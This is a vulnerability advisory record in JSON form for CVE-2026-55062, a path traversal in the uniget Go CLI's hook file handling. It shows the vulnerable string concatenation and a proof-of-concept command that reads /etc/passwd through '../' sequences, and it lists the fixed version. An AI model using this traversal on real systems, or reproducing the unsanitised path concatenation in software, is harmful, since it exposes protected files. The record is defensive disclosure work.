{"id":"CVE-2026-55062","aliases":["GHSA-m6jg-wr9m-cg2f","GO-2026-6247"],"url":"https://o3.security/vulnerability/CVE-2026-55062","summary":"uniget: Path Traversal in Hook Files - Directory Escape Vulnerability","details":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n<img width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" />","published":"2026-09-17T18:22:21.656Z","modified":"2026-10-02T03:31:10.407711958Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","fixedVersion":"0.27.6"}],"fix":{"url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","label":"uniget-org/cli@7b4f18a"},"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55062.json"},{"type":"ADVISORY","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55062"},{"type":"FIX","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-02T03:31:10.407711958Z"}}